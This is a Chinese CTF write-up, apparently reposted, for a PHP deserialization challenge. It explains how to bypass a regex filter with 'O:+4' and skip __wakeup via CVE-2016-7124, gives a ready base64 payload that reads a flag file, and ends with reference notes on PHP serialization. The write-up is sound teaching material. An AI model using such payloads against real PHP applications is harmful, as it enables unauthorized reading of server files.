当前位置: 代码迷 >> 综合 >> 攻防世界web进阶区——Web_php_unserialize
  详细解决方案

攻防世界web进阶区——Web_php_unserialize

热度:23   发布时间:2024-02-29 13:26:41.0

题目地址Web_php_unserialize

一、代码分析

反序列化的题目,给出了源码

<?php 
class Demo {
     private $file = 'index.php';public function __construct($file) {
     $this->file = $file; }function __destruct() {
     echo @highlight_file($this->file, true); }function __wakeup() {
     if ($this->file != 'index.php') {
     //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) {
     $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) {
     die('stop hacking!'); } else {
    @unserialize($var); } 
} else {
     highlight_file("index.php"); 
} 
?>
preg_match(’/[oc]:\d+:/i’, $var)的绕过unserialize时__wakeup的绕过

绕过正则:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过

绕过wakeup:使序列化字符串中标识变量数量的值大于实际变量即可,即1变为2

preg_match('/[oc]:\d+:/i', $var)

此段代码匹配o或c : 匹配冒号。 \d 匹配一个数字(+ 表示匹配前面的子表达式一次或多次。) 。 /i匹配的时候不区分大小写

    $A = new Demo('fl4g.php');$C = serialize($A);$c="O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

对于$c来说,就是匹配o:4字段,那么类名的长度可以有正负号,那么我们加入+号,即可绕过。

$c="O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

__wakeup():在unserialize时会被调用
__construct():在使用new创建新对象的时候被调用
__destruct():在销毁一个类之前执行

我们要绕过__wakeup()这个魔术方法。利用CVE-2016-7124漏洞。
我们序列化的字符串为:

O:4:“Demo”:1:{
    s:10:“Demofile”;s:8:“fl4g.php”;}

我们可以把序列化后的字符串改为:

O:4:“Demo”:2:{
    s:10:“Demofile”;s:8:“fl4g.php”;}

(序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数)

var_dump(base64_encode($c));
$c="TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30="

传入var参数即可得到flag。

二、PHP序列化

PHP (从PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。

PHP 序列化后的内容是简单的文本格式,但是对字母大小写和空白(空格、回车、换行等)敏感,而且字符串是按照字节(或者说是8 位的字符)计算的,因此,更合适的说法是PHP 序列化后的内容是字节流格式。

PHP 对不同类型的数据用不同的字母进行标示。

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

  • NULL 的序列化
    在 PHP 中,NULL 被序列化为:N;

  • boolean 型数据的序列化
    b: < digit > ;其中< digit > 为0 或1,当boolean 型数据为false 时, 为0,否则为1。

  • integer 型数据的序列化
    i:< number > ;其中< number > 为一个整型数,范围为:-2147483648 到2147483647。数字前可以有正负号。

  • double 型数据的序列化
    d:< number >。其中< number > 为一个浮点数,其范围与PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化无穷大数,则< number > 为INF,如果序列化负无穷大,则< number > 为-INF。序列化后的数字范围超过PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字
    范围超过PHP 所能表示的最小精度,则反序列化时返回0。

  • string 型数据的序列化
    s:< length >:"< value >"。其中< length > 是< value > 的长度,< length > 是非负整数,数字前可以带有正号(+)。< value > 为字符串值,这里的每个字符都是单字节字符,其范围与ASCII 码的0 - 255 的字符相对应。每个字符都表示原字
    符含义,没有转义字符

  • 数组的序列化

a:< n>:{< key 1>< value 1> < key 2>< value 2>…< key n>< value n>}
其中< n> 表示数组元素的个数,< key 1>、< key 2>……< key n> 表示数组下标,< value 1>、< value2>……< value n> 表示与下标相对应的数组元素的值。

  • 对象的序列化

O:< length>:"< class name>":< n >:{< field name 1>< field value 1>< field name2>< field value 2>…< field name n>< field value n>}
其中< length> 表示对象的类名< class name> 的字符串长度。< n> 表示对象中的字段1个数。这些字段包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和const 声明的静态字段。也就是说只有实例(instance)字段。
< filed name 1>、< filed name 2>……< filed name n>表示每个字段的字段名,而< filed value 1>、< filed value 2>……< filed value n> 则表示与字段名所对应的字段值。

三、CVE-2016-7124漏洞

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

漏洞复现